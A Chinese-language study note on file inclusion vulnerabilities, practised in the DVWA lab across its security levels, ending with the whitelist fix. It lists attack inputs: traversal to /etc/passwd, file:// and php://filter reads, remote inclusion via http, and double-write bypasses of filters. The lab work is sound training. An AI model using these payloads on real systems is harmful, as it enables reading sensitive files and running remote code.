DVWA-文件包含學習筆記
一、文件包含與漏洞
文件包含:
開發人員將相同的函數寫入單獨的文件中,需要使用某個函數時直接調用此文件,無需再次編寫,這種文件調用的過程稱文件包含。
文件包含漏洞:
開發人員為了使代碼更靈活,會將被包含的文件設置為變量,用來進行動態調用,從而導致客戶端可以惡意調用一個惡意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函數
require:找不到被包含的文件,報錯,並且停止運行腳本。
include:找不到被包含的文件,只會報錯,但會繼續運行腳本。
require_once:與require類似,區別在於當重復調用同一文件時,程序只調用一次。
include_once:與include類似,區別在於當重復調用同一文件時,程序只調用一次。
三、目錄遍歷與文件包含的區別
目錄遍歷是可以讀取web目錄以外的其他目錄,根源在於對路徑訪問權限設置不嚴格,針對本系統。
文件包含是利用函數來包含web目錄以外的文件,分為本地包含和遠程包含。
四、文件包含特征
?page=a.php
?home=b.html
?file=content
檢測方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
五、DVWA練習
1.修改php.ini配置文件開啟文件包含功能
allow_url_include = on

將DVWA的級別設置為low
1.分析源碼,可以看到沒有對page參數做任何過濾

本地文件包含
2.嘗試利用文件包含
2.1絕對路徑

文件包含時,不管包含的文件是什么類型,都會優先嘗試當作php文件執行,如果文件內容有php代碼,則會執行php代碼並返回代碼執行的結果,如果文件內容沒有php代碼,則把文件內容打印出來

文件內容沒有php代碼,把文件內容打印(顯示)到瀏覽器頁面

2.2相對路徑

3.使用php封裝協議讀取和寫入php文件
3.1讀取文件
php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 訪問,可以看到顯示了base64編碼的內容

使用burpsuit的decode模塊解碼

3.2寫入php文件,下圖可以看到輸入的內容並返回結果

遠程文件包含
1.通過http協議包含本地服務器上的文件

2.通過http協議包含遠程服務器上的文件

將DVWA的級別設置為medium
1.分析源碼,可以看到使用str_replace函數對http://、https://、../ 、..\進行了過濾,但可以通過雙寫來繞過,或者使用絕對路徑來繞過

2.嘗試繞過
先使用http://192.168.10.130/1.txt 抓包分析,可以看到對http://做了過濾

使用雙寫繞過http://的過濾 htthttp://p://192.168.10.144/1.txt

使用..././..././..././..././..././..././..././ 繞過../的過濾

使用絕對路徑繞過

使用file協議繞過

將DVWA的級別設置為High
1.分析源碼可以看到,如果$file變量中不含有file並且$file不等於include.php,此時服務器才不會去包含文件,兩個條件只要不滿足其中任意一個,就能達到文件包含的目的,可以是同file協議來繞過

2.使用file協議繞過

將DVWA的級別設置為Impossible
1.分析源碼可以看到,使用白名單,page只能為include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允許包含include.php、file1.php、file2.php、file3.php,不能包含別的文件,徹底杜絕文件包含漏洞

